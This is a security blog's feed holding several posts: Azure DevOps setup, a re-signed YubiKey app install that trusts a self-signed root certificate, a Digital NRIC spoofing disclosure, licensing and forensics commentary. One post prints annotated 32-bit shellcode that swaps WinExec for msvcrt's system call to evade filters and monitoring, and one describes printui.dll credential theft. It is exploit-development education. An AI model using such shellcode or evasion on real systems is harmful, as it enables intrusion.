&lt;p&gt;1) Use the powershell console in Azure Portal to run the following command&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;
&lt;span class="normal"&gt;6&lt;/span&gt;
&lt;span class="normal"&gt;7&lt;/span&gt;
&lt;span class="normal"&gt;8&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;PS /home/limbenjamin&amp;gt; az ad sp create-for-rbac --name ServicePrincipalName
{
  &amp;quot;appId&amp;quot;: &amp;quot;00000000-0000-0000-0000-000000000000&amp;quot;,
  &amp;quot;displayName&amp;quot;: &amp;quot;ServicePrincipalName&amp;quot;,
  &amp;quot;name&amp;quot;: &amp;quot;http://ServicePrincipalName&amp;quot;,
  &amp;quot;password&amp;quot;: &amp;quot;00000000-1111-1111-1111-000000000000&amp;quot;,
  &amp;quot;tenant&amp;quot;: &amp;quot;00000000-2222-2222-2222-000000000000&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;2) Go to Azure Portal -&amp;gt; Subscriptions -&amp;gt; Access Control (IAM) -&amp;gt; Add Role Assignment and add Contributor role for ServicePrincipalName.&lt;br&gt;
3) Go to Azure DevOps -&amp;gt; Project Settings (At Bottom) -&amp;gt; Service Connections -&amp;gt; New Service Connection -&amp;gt; Azure Resource Manager -&amp;gt; Service Principal (Manual) and use the values from the command output in the earlier powershell console&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Service Principal Id: 00000000-0000-0000-0000-000000000000
Service Principal Key: 00000000-1111-1111-1111-000000000000
Tenant ID: 00000000-2222-2222-2222-000000000000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;4) Setup a new pipeline in Azure DevOps. The new pipeline may not be able to detect the manually set up service principal and the build may fail, if that happens, you will need to visit the following URL to get the azureServiceConnectionId.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;https://dev.azure.com/&amp;lt;&amp;lt;Org Name&amp;gt;&amp;gt;/&amp;lt;&amp;lt;Project Name&amp;gt;&amp;gt;/_apis/serviceendpoint/endpoints?api-version=5.0-preview.2
{&amp;quot;count&amp;quot;:1,&amp;quot;value&amp;quot;:[{&amp;quot;data&amp;quot;:{&amp;quot;environment&amp;quot;:&amp;quot;AzureCloud&amp;quot;,&amp;quot;scopeLevel&amp;quot;:&amp;quot;Subscription&amp;quot;,&amp;quot;subscriptionId&amp;quot;:&amp;quot;00000000-3333-3333-3333-000000000000&amp;quot;,&amp;quot;subscriptionName&amp;quot;:&amp;quot;AzureSubsciptionName&amp;quot;,&amp;quot;creationMode&amp;quot;:&amp;quot;Manual&amp;quot;},&amp;quot;id&amp;quot;:&amp;quot;00000000-4444-4444-4444-000000000000&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;ServiceConnectionName&amp;quot;.....
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;5) Manually edit the &lt;code&gt;azure-pipelines.yml&lt;/code&gt; file and include the new azureServiceConnectionId. Your builds should now work.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt;1&lt;/span&gt;
&lt;span class="normal"&gt;2&lt;/span&gt;
&lt;span class="normal"&gt;3&lt;/span&gt;
&lt;span class="normal"&gt;4&lt;/span&gt;
&lt;span class="normal"&gt;5&lt;/span&gt;
&lt;span class="normal"&gt;6&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;trigger:
- master

variables:
  # Azure Resource Manager connection created during pipeline creation
  azureServiceConnectionId: &amp;#39;00000000-4444-4444-4444-000000000000&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;</content><category term="articles"></category><category term="Coding"></category><category term="Server"></category></entry><entry><title>Yubikey passwordless Windows local account login</title><link href="https://limbenjamin.com/articles/yubikey-passwordless-windows-local-account-login.html" rel="alternate"></link><published>2021-12-23T21:17:00+08:00</published><updated>2021-12-23T21:17:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2021-12-23:/articles/yubikey-passwordless-windows-local-account-login.html</id><summary type="html">&lt;p&gt;Yubico used to publish a Windows Store application &lt;code&gt;YubiKey for Windows Hello&lt;/code&gt; that allowed local non-domain joined accounts to login to Windows simply by inserting the YubiKey. However, that application has since been &lt;a href="https://www.reddit.com/r/yubikey/comments/kwdo40/yubikey_for_windows_hello_currently_not_available/"&gt;retired&lt;/a&gt; and there is no current method to perform a password login for a local account. The …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Yubico used to publish a Windows Store application &lt;code&gt;YubiKey for Windows Hello&lt;/code&gt; that allowed local non-domain joined accounts to login to Windows simply by inserting the YubiKey. However, that application has since been &lt;a href="https://www.reddit.com/r/yubikey/comments/kwdo40/yubikey_for_windows_hello_currently_not_available/"&gt;retired&lt;/a&gt; and there is no current method to perform a password login for a local account. The current tool &lt;a href="https://www.yubico.com/products/computer-login-tools/"&gt;&lt;code&gt;Yubico Login for Windows&lt;/code&gt;&lt;/a&gt; allows the user to use the YubiKey as a 2nd factor but still requires a password to be typed in. It is more secure for sure, but security is always at odds with convenience and some users may feel that a passwordless YubiKey login is sufficient for their threat model, especially if they make sure to carry around the YubiKey at all times.  &lt;/p&gt;
&lt;p&gt;I have managed to repackage the &lt;code&gt;YubiKey for Windows Hello&lt;/code&gt; Windows Store application from my previous machine and am thus sharing it with all. However, one caveat is that I had to re-sign the package with a self signed cert since I do not have Yubico's original cert. The steps to install my packaged version are as follows:  &lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Download the &lt;a href="//limbenjamin.com/files/YubiKeyforWindowsHello/Yubico.YubiKeyforWindowsHello_1.1.2.0_x64__ner20kky0c7hr.appx"&gt;appx package&lt;/a&gt; and the &lt;a href="//limbenjamin.com/files/YubiKeyforWindowsHello/Yubico.YubiKeyforWindowsHello_1.1.2.0_x64__ner20kky0c7hr.cer"&gt;cert&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Double click the cert and install it into the Local Machine's Trusted Root Certification Authorities store. You will need to manually specify the correct store.&lt;/li&gt;
&lt;li&gt;Go to Settings -&amp;gt; Use Developer Features and allow install apps from any source&lt;/li&gt;
&lt;li&gt;Double click the appx package to install it&lt;/li&gt;
&lt;li&gt;Go to Settings -&amp;gt; Set up PIN sign in and set a PIN&lt;/li&gt;
&lt;li&gt;Start YubiKey for Windows Hello and go through the steps to set up passwordless login&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="admonition other"&gt;
&lt;p class="admonition-title"&gt;Note to Yubico&lt;/p&gt;
&lt;p&gt;YubiKey for Windows Hello is a abandonware and cannot be obtained from any official website anymore. Please reach out if you have issues with me hosting a copy of it. &lt;/p&gt;
&lt;/div&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Converting WinExec shellcode</title><link href="https://limbenjamin.com/articles/converting-winexec-shellcode.html" rel="alternate"></link><published>2021-12-15T12:24:00+08:00</published><updated>2021-12-15T12:24:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2021-12-15:/articles/converting-winexec-shellcode.html</id><summary type="html">&lt;p&gt;I have found an interesting method to convert &lt;code&gt;WinExec&lt;/code&gt; shellcode. This may be useful if &lt;code&gt;WinExec&lt;/code&gt; cannot be used because the characters &lt;code&gt;WinE&lt;/code&gt; are bad characters or if there are security solutions monitoring for its execution. This method requires &lt;code&gt;msvcrt.dll&lt;/code&gt; to be loaded as it uses the &lt;code&gt;system&lt;/code&gt; call …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I have found an interesting method to convert &lt;code&gt;WinExec&lt;/code&gt; shellcode. This may be useful if &lt;code&gt;WinExec&lt;/code&gt; cannot be used because the characters &lt;code&gt;WinE&lt;/code&gt; are bad characters or if there are security solutions monitoring for its execution. This method requires &lt;code&gt;msvcrt.dll&lt;/code&gt; to be loaded as it uses the &lt;code&gt;system&lt;/code&gt; call in place of &lt;code&gt;WinExec&lt;/code&gt;. Both methods take in similar parameters so this can be achieved with only a few bytes of code change.  &lt;/p&gt;
&lt;p&gt;As an example, I will be using this &lt;a href="https://github.com/peterferrie/win-exec-calc-shellcode/blob/master/w32-exec-calc-shellcode.asm"&gt;32bit WinExec calc shellcode&lt;/a&gt;. Credits to Skylined and Peter Ferrie for the original shellcode and the extremely detailed comments. As you can observe, we saved 1 byte with uCmdShow and inserted only 6 more bytes for the entire conversion. Depending on the DLL load order for your binary, it may take slightly more or less bytes to traverse the linked list to get to &lt;code&gt;msvcrt&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;table class="highlighttable"&gt;&lt;tr&gt;&lt;td class="linenos"&gt;&lt;div class="linenodiv"&gt;&lt;pre&gt;&lt;span class="normal"&gt; 1&lt;/span&gt;
&lt;span class="normal"&gt; 2&lt;/span&gt;
&lt;span class="normal"&gt; 3&lt;/span&gt;
&lt;span class="normal"&gt; 4&lt;/span&gt;
&lt;span class="normal"&gt; 5&lt;/span&gt;
&lt;span class="normal"&gt; 6&lt;/span&gt;
&lt;span class="normal"&gt; 7&lt;/span&gt;
&lt;span class="normal"&gt; 8&lt;/span&gt;
&lt;span class="normal"&gt; 9&lt;/span&gt;
&lt;span class="normal"&gt;10&lt;/span&gt;
&lt;span class="normal"&gt;11&lt;/span&gt;
&lt;span class="normal"&gt;12&lt;/span&gt;
&lt;span class="normal"&gt;13&lt;/span&gt;
&lt;span class="normal"&gt;14&lt;/span&gt;
&lt;span class="normal"&gt;15&lt;/span&gt;
&lt;span class="normal"&gt;16&lt;/span&gt;
&lt;span class="normal"&gt;17&lt;/span&gt;
&lt;span class="normal"&gt;18&lt;/span&gt;
&lt;span class="normal"&gt;19&lt;/span&gt;
&lt;span class="normal"&gt;20&lt;/span&gt;
&lt;span class="normal"&gt;21&lt;/span&gt;
&lt;span class="normal"&gt;22&lt;/span&gt;
&lt;span class="normal"&gt;23&lt;/span&gt;
&lt;span class="normal"&gt;24&lt;/span&gt;
&lt;span class="normal"&gt;25&lt;/span&gt;
&lt;span class="normal"&gt;26&lt;/span&gt;
&lt;span class="normal"&gt;27&lt;/span&gt;
&lt;span class="normal"&gt;28&lt;/span&gt;
&lt;span class="normal"&gt;29&lt;/span&gt;
&lt;span class="normal"&gt;30&lt;/span&gt;
&lt;span class="normal"&gt;31&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;div&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;0:  31 d2                   xor    edx,edx                          ; EDX = 0
2:  52                      push   edx                              ; Stack = 0
3:  68 63 61 6c 63          push   0x636c6163                       ; Stack = &amp;quot;calc&amp;quot;, 0
8:  54                      push   esp
9:  59                      pop    ecx                              ; ECX = &amp;amp;(&amp;quot;calc&amp;quot;)
a:  52                      push   edx                              ; CODE REMOVED HERE - We don&amp;#39;t need uCmdShow parameter for system method
b:  51                      push   ecx                              ; Stack = &amp;amp;(&amp;quot;calc&amp;quot;), &amp;quot;calc&amp;quot;, 0
c:  64 8b 72 30             mov    esi,DWORD PTR fs:[edx+0x30]      ; ESI = [TEB + 0x30] = PEB
10: 8b 76 0c                mov    esi,DWORD PTR [esi+0xc]          ; ESI = [PEB + 0x0C] = PEB_LDR_DATA
13: 8b 76 0c                mov    esi,DWORD PTR [esi+0xc]          ; ESI = [PEB_LDR_DATA + 0x0C] = LDR_MODULE InLoadOrder[0] (process)
16: ad                      lods   eax,DWORD PTR ds:[esi]           ; EAX = InLoadOrder[1] (ntdll)
17: 8b 30                   mov    esi,DWORD PTR [eax]              ; ESI = InLoadOrder[2] (kernel32)
19: 8b 36                   mov    esi,DWORD PTR [esi]              ; CODE INSERTED HERE - ESI = InLoadOrder[3] (aaaa)
1b: 8b 36                   mov    esi,DWORD PTR [esi]              ; CODE INSERTED HERE - ESI = InLoadOrder[4] (bbbb)
1d: 8b 36                   mov    esi,DWORD PTR [esi]              ; CODE INSERTED HERE - ESI = InLoadOrder[5] (msvcrt)
1f: 8b 7e 18                mov    edi,DWORD PTR [esi+0x18]         ; EDI = [InLoadOrder[5] + 0x18] = msvcrt DllBase
22: 8b 5f 3c                mov    ebx,DWORD PTR [edi+0x3c]         ; EBX = [msvcrt + 0x3C] = offset(PE header)
25: 8b 5c 1f 78             mov    ebx,DWORD PTR [edi+ebx*1+0x78]   ; EBX = [PE32 optional header + offset(PE32 export table offset)] = offset(export table)
29: 8b 74 1f 20             mov    esi,DWORD PTR [edi+ebx*1+0x20]   ; ESI = [msvcrt + offset(export table) + 0x20] = offset(names table)
2d: 01 fe                   add    esi,edi                          ; ESI = msvcrt + offset(names table) = &amp;amp;(names table)
2f: 8b 54 1f 24             mov    edx,DWORD PTR [edi+ebx*1+0x24]   ; EDX = [msvcrt + offset(export table) + 0x24] = offset(ordinals table)
33: 0f b7 2c 17             movzx  ebp,WORD PTR [edi+edx*1]         ; EBP = [msvcrt + offset(ordinals table) + offset] = function ordinal
37: 42                      inc    edx
38: 42                      inc    edx                              ; EDX = offset += 2
39: ad                      lods   eax,DWORD PTR ds:[esi]           ; EAX = &amp;amp;(names table[function number]) = offset(function name)
3a: 81 3c 07 73 79 73 74    cmp    DWORD PTR [edi+eax*1],0x74737973 ; CODE CHANGED HERE - Change WinE to syst
41: 75 f0                   jne    0x33
43: 8b 74 1f 1c             mov    esi,DWORD PTR [edi+ebx*1+0x1c]   ; ESI = [msvcrt + offset(export table) + 0x1C] = offset(address table)] = offset(address table)
47: 01 fe                   add    esi,edi                          ; ESI = msvcrt + offset(address table) = &amp;amp;(address table)
49: 03 3c ae                add    edi,DWORD PTR [esi+ebp*4]        ; EDI = msvcrt + [&amp;amp;(address table)[system ordinal]] = offset(system) = &amp;amp;(system)
4c: ff d7                   call   edi                              ; system(&amp;amp;(&amp;quot;calc&amp;quot;));
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Digital NRIC Spoofing</title><link href="https://limbenjamin.com/articles/digital-nric-spoofing.html" rel="alternate"></link><published>2021-11-14T15:59:00+08:00</published><updated>2021-11-14T15:59:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2021-11-14:/articles/digital-nric-spoofing.html</id><summary type="html">&lt;p&gt;Pretty interesting how easy it is to spoof the animated hologram thingy in the new Digital NRIC. Managed to build a Proof of Concept (POC) within a few hours of the news release.  &lt;/p&gt;
&lt;iframe src="/files/nricspecimengen/" style="height: 669px;width: 449px;"&gt;&lt;/iframe&gt;

&lt;p&gt;Govtech's response is as follow:&lt;/p&gt;
&lt;blockquote&gt;
&lt;hr&gt;
&lt;p&gt;Hi Benjamin,&lt;/p&gt;
&lt;p&gt;We refer your report submitted under the Vulnerability Disclosure Programme …&lt;/p&gt;&lt;/blockquote&gt;</summary><content type="html">&lt;p&gt;Pretty interesting how easy it is to spoof the animated hologram thingy in the new Digital NRIC. Managed to build a Proof of Concept (POC) within a few hours of the news release.  &lt;/p&gt;
&lt;iframe src="/files/nricspecimengen/" style="height: 669px;width: 449px;"&gt;&lt;/iframe&gt;

&lt;p&gt;Govtech's response is as follow:&lt;/p&gt;
&lt;blockquote&gt;
&lt;hr&gt;
&lt;p&gt;Hi Benjamin,&lt;/p&gt;
&lt;p&gt;We refer your report submitted under the Vulnerability Disclosure Programme (VDP) on 28-Oct-2021.&lt;/p&gt;
&lt;p&gt;The Digital IC offers a convenient alternative to physical IC for a user to present his or her identity credentials for in-person services. The animated lion crest with a holographic effect is not a cryptographic means to secure the Digital IC, rather it acts as a first layer of deterrence to guard against image tampering and screenshot spoofing. It will be absent or appear static if a person attempts to capture a screen recording of the Digital IC.&lt;/p&gt;
&lt;p&gt;Other multi-layered security and operational measures are also in place for the use of Digital IC for in-person services. For instance, other than checking for the animated hologram to ascertain that the Digital IC screen is legitimate, agencies and businesses may request users to tap on their devices to test for interactivity and confirm that the presented identity credentials are not captured images or videos. In addition, the user’s latest photograph is displayed on the Digital IC and this further assists onsite personnel to establish the user’s identity.&lt;/p&gt;
&lt;p&gt;Cryptographically secure options such as Singpass Verify may also be deployed by agencies and businesses which require higher in-person identity assurance. With Verify, agencies and businesses can display a QR code at their service counters which users can scan with their Singpass and consent to securely share their identity credentials with the agency/business.&lt;/p&gt;
&lt;p&gt;We regret that you chose to publish the details of your report on LinkedIn before hearing from us. This action is not consistent with VDP conduct rules which exist to ensure responsible reporting and prevent malicious actors from exploiting unresolved vulnerabilities. We trust you will take note of this and we thank you for helping to keep digital services safe for all users.&lt;/p&gt;
&lt;hr&gt;
&lt;/blockquote&gt;
&lt;p&gt;To circumvent tapping on the device to test for interactivity, one might have to build a entire fakepass app from scratch as the Singpass app has some protection so you can't just decompile it, hardcode a couple of strings in the app to display a certain NRIC and name and recompile the app. That is more effort than I would like to undertake. I don't really understand Govtech's point on the user's latest photograph. If I wanted to spoof an NRIC, I would put my photograph there and someone else's name and NRIC, then I can enter the building assuming his identity.  &lt;/p&gt;
&lt;p&gt;Singpass Verify seems to be a more secure option as compared to the Digital NRIC. Not sure why it wasn't adopted as the de-facto standard in place of Digital NRIC. It might be confusing to the public to have so many similar verification related microservices requiring different interactions. Digital NRIC acts as a barcode and requires a scanner. Singpass Verify acts as a scanner and requires a QR code. OpenCerts requires you to upload a file and is only used to verify educational and vaccination certs and not identity documents. There isn't an overarching verification framework with a consistent approach. To be honest, I might get phished myself, if an organization asks me to scan my thumbprint and claims that it is part of a new Govtech standard called OpenFinger, I might fall prey.   &lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>Industry Consultation on Licensing for CSPs</title><link href="https://limbenjamin.com/articles/industry-consultation-licensing-csps.html" rel="alternate"></link><published>2021-10-13T09:15:00+08:00</published><updated>2021-10-13T09:15:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2021-10-13:/articles/industry-consultation-licensing-csps.html</id><summary type="html">&lt;p&gt;Below feedback was submitted to CSA on 11 Oct 2021 in an individual capacity.  &lt;/p&gt;
&lt;h2&gt;Q1&lt;/h2&gt;
&lt;p&gt;I refer to item 7 on page 6 of &lt;a href="https://www.csa.gov.sg/-/media/Csa/Documents/Legislation_Industry-Consultation/Licensing-Industry-Consult-Document.pdf"&gt;Annex A: Industry Consultation Document&lt;/a&gt;, reproduced below. If a company registered in Singapore or an individual residing and working in Singapore is only providing cybersecurity services …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Below feedback was submitted to CSA on 11 Oct 2021 in an individual capacity.  &lt;/p&gt;
&lt;h2&gt;Q1&lt;/h2&gt;
&lt;p&gt;I refer to item 7 on page 6 of &lt;a href="https://www.csa.gov.sg/-/media/Csa/Documents/Legislation_Industry-Consultation/Licensing-Industry-Consult-Document.pdf"&gt;Annex A: Industry Consultation Document&lt;/a&gt;, reproduced below. If a company registered in Singapore or an individual residing and working in Singapore is only providing cybersecurity services (Managed SOC or Penetration Testing) to the &lt;u&gt;overseas market&lt;/u&gt; and does not have any clients based in Singapore, does that company or individual need to be licensed? This has implications on freelancers based in Singapore that only offer their services over platforms such as fiverr and upwork.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;7 All CSPs that provide either or both of these licensable cybersecurity services to the Singapore market, regardless of whether they are companies or individuals (i.e. freelancers or sole proprietorships owned and controlled by individuals) who are directly engaged for such services, or third-party CSPs that provide these services in support of other CSPs, will need to be licensed. Resellers, or overseas CSPs who provide licensable cybersecurity services to the Singapore market would likewise need to be licensed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;A1&lt;/h2&gt;
&lt;p&gt;Under Part 5 of the Cybersecurity Act, any person who is in the business of providing A) managed security operations centre (SOC) monitoring; and/or B) penetration testing cybersecurity services to the Singapore market as set out in the &lt;a href="https://sso.agc.gov.sg/Acts-Supp/9-2018"&gt;Second Schedule of the Cybersecurity Act&lt;/a&gt; (hyperlinked), will need to be licensed unless they are providing the services to its related company (e.g. a subsidiary providing the services to its holding/parent company). Persons providing licensable services solely to overseas market will not need to be licensed.&lt;/p&gt;
&lt;h2&gt;Q1.1&lt;/h2&gt;
&lt;p&gt;Part 5 Section 24 of the Cybersecurity Act&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;24.—(1) Except under and in accordance with a cybersecurity service provider’s licence granted or renewed under section 26, no person may engage in the business of providing any licensable cybersecurity service* to other persons**  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;* I have looked at the definition of a "cybersecurity service" in Part 1 Section 2, it does not say the recipient of the service has to be an entity based in Singapore.&lt;br&gt;
* Have also looked at the definition for "licensable cybersecurity services" in Second Schedule, it does not say the recipient of the service has to be an entity based in Singapore.&lt;br&gt;
** There is no definition for "persons". It does not say persons has to be an entity based in Singapore.&lt;br&gt;
*** There is no further writing anywhere else that says "Part 5 Section 24 Subsection (1) does not apply to the provision of a cybersecurity service to an entity based overseas"  &lt;/p&gt;
&lt;p&gt;Based on my understanding above, providing licensable cybersecurity services whether locally or overseas is treated the same in the Act. Would be interested to find out how you derive that Part 5 only applies to service rendered to the Singapore market.&lt;/p&gt;
&lt;h2&gt;A1.1&lt;/h2&gt;
&lt;p&gt;The licensing framework was gazetted under Part 5 of the Cybersecurity Act which sought to establish a legal framework for the oversight and maintenance of national cybersecurity in Singapore. Hence it applies to cybersecurity service providers ("CSPs") providing licensable cybersecurity services to the Singapore market, regardless of whether they are companies or individuals (i.e. freelancers or sole proprietorships owned and controlled by individuals) who are directly engaged for such services, or third-party CSPs that provide these services in support of other CSPs. Resellers, or overseas CSPs who provide licensable cybersecurity services to the Singapore market would likewise need to be licensed. &lt;/p&gt;
&lt;h2&gt;My thoughts&lt;/h2&gt;
&lt;p&gt;I get that the intent of the policy is to govern cybersecurity services provided to local companies only, hence the limited scope. But doesn't that limited scope need to be translated into the law itself? How else would a member of public or someone from another country know whether he requires a license to operate? When I look at the Remote Gambling Act, it is very clear which section applies even to overseas providers and which are limited to Singapore only. It is strange that the Cybersecurity Act lacks clarity in this aspect.&lt;/p&gt;</content><category term="articles"></category><category term="Security"></category><category term="Legal"></category></entry><entry><title>Police and private sector forensics differences</title><link href="https://limbenjamin.com/articles/police-and-private-sector-forensics-differences.html" rel="alternate"></link><published>2021-09-22T20:07:00+08:00</published><updated>2021-09-22T20:07:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2021-09-22:/articles/police-and-private-sector-forensics-differences.html</id><summary type="html">&lt;p&gt;Due to the nature of work, there is a vast difference between the skillset of a law enforcement cyber forensics analyst and his private sector counterpart. If you are intending to hire an ex-law enforcement analyst, do read on to find out if it is a good fit. &lt;/p&gt;
&lt;h2&gt;Law enforcement …&lt;/h2&gt;</summary><content type="html">&lt;p&gt;Due to the nature of work, there is a vast difference between the skillset of a law enforcement cyber forensics analyst and his private sector counterpart. If you are intending to hire an ex-law enforcement analyst, do read on to find out if it is a good fit. &lt;/p&gt;
&lt;h2&gt;Law enforcement forensics analysts have much better procedural knowledge compared to private sector analysts&lt;/h2&gt;
&lt;p&gt;Almost all cases worked by law enforcement analysts will eventually end up in court. It is a waste of police time to investigate cases which do not eventually end up in prosecution. Therefore, there is a large emphasis on evidence collection procedures. Evidence must be sealed in evidence bags to prevent tampering, it must go through proper chain of custody procedures, integrity of evidence must be guaranteed through checksums. All actions must be documented and timestamped.  &lt;/p&gt;
&lt;p&gt;In contrast, cases worked by private sector analysts rarely end up in court. Private sector analysts usually work on cyber incidents such as ransomware attacks, hacking attempts, website defacements. These cyber incidents are normally done by criminals located overseas and it is a challenge to even work out the perpetrator's actual identity let alone prosecute them in a foreign court of law.  &lt;/p&gt;
&lt;p&gt;The only cases which may end up in court are insider threat cases, where an employee steals intellectual property belonging to the company. In such cases, it is possible for the company to sue the employee for damages in civil court because the identity of the employee is known, the employee is located within the same jurisdiction, and the employee has violated the contract he signed with the employer. Since this is a civil case, the burden of proof is lower compared to a criminal case, proving beyond reasonable doubt is not required and the evidence collection procedures need not be as strict.  &lt;/p&gt;
&lt;h2&gt;Private sector analysts have much stronger technical cybersecurity knowledge compared to law enforcement analysts&lt;/h2&gt;
&lt;p&gt;Private sector analysts work on sophisticated cyber incidents. It is often a multi-stage attack where the attackers gets an initial foothold into the environment, performs enumeration, laterally moves within the network and finally takes action to achieve his objective, be it encrypting files, exfiltrating files or causing destruction. This requires analysts to be conversant with process data, netflow data, authentication data, DNS data, persistency methods and be able to correlate all that to paint the storyline of the entire attack. Hence, they require much stronger technical cybersecurity knowledge.  &lt;/p&gt;
&lt;p&gt;In comparison, law enforcement analysts generally work on cyber enabled crimes. Cyber enabled crimes are real world crime with a technological element involved, such as e-commerce scams, credit card theft, harassment over email or messaging platforms and so on. They are usually perpetrated by criminals in the same jurisdiction. You do not need strong cybersecurity knowledge to investigate such crimes, as they just need to copy files. Copy invoice files and browser history as evidence for e-commerce or credit card theft, copy emails or messages for evidence of harassment and so on. There is no further analysis needed. As long as the files are copied in a forensically sound manner and timestamped, it can be presented in court as evidence of the crime. At the very most, they would need some file carving knowledge to recover deleted files.  &lt;/p&gt;
&lt;p&gt;It is very rare for law enforcement to be involved in sophisticated cyber incidents. To illustrate the point, it took 2 years of collaboration from US, Korea, Ukraine law enforcement as well as Interpol to finally &lt;a href="https://www.zdnet.com/article/ukranian-police-partner-with-us-south-korea-for-raid-on-clop-ransomware-members/"&gt;arrest 6 criminals behind Clop ransomware which is alleged to have caused $500 million in damages.&lt;/a&gt; Even then, &lt;a href="https://ia.acs.org.au/article/2021/clop-ransomware-gang-busted.html"&gt;sources&lt;/a&gt; believe that the impact to the group is minor as most of the core actors are believed to be based in Russia, which may not be as interested to collaborate due to political reasons. This shows why law enforcement generally work on Cyber enabled crime as it is much more fruitful and likely to end in prosecution.  &lt;/p&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;I have seen reports from former law enforcement forensics analysts that contained only observations and no analysis, e.g. 25 counts of unauthorized access to xmlrpc.php was observed from 1.2.3.4. This is perfectly fine if the report is going before a court of law. However, in the private sector, we are less concerned over whether it was 21 or 25 or 30 access attempts. What we want to know is what resulted from those attempts? Did the attacker succeed in gaining privileged access, what did he do subsequently? Which are the list of machines and accounts which have been compromised and have to be reseted? If you are intending to hire an ex-law enforcement analyst, do make sure that he can analyse a cyber incident and is not merely providing observations.  &lt;/p&gt;</content><category term="articles"></category><category term="Security"></category></entry><entry><title>LOLBin: printui.dll</title><link href="https://limbenjamin.com/articles/lolbin-printui.html" rel="alternate"></link><published>2021-09-06T21:09:00+08:00</published><updated>2021-09-06T21:09:00+08:00</updated><author><name>Benjamin Lim</name></author><id>tag:limbenjamin.com,2021-09-06:/articles/lolbin-printui.html</id><summary type="html">&lt;p&gt;Printer Settings User Interface is an executable file that contains functions used by the printer configuration dialog boxes. Functionality includes listing printer properties, adding new printers, installing printer via inf file, storing printer settings into a file and loading printer settings from file.  &lt;/p&gt;
&lt;p&gt;The Printer Settings User Interface (printui.dll …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Printer Settings User Interface is an executable file that contains functions used by the printer configuration dialog boxes. Functionality includes listing printer properties, adding new printers, installing printer via inf file, storing printer settings into a file and loading printer settings from file.  &lt;/p&gt;
&lt;p&gt;The Printer Settings User Interface (printui.dll) is a Living Off The Land Binary (LOLBin) that can be used by attackers to steal credentials. Attackers can attempt to list network printer properties, install printer with inf file located on an attacker controlled share or backup and restore settings from a file stored on an attacker controlled share. Windows will automatically attempt to authenticate using the current user's account credentials.  &lt;/p&gt;
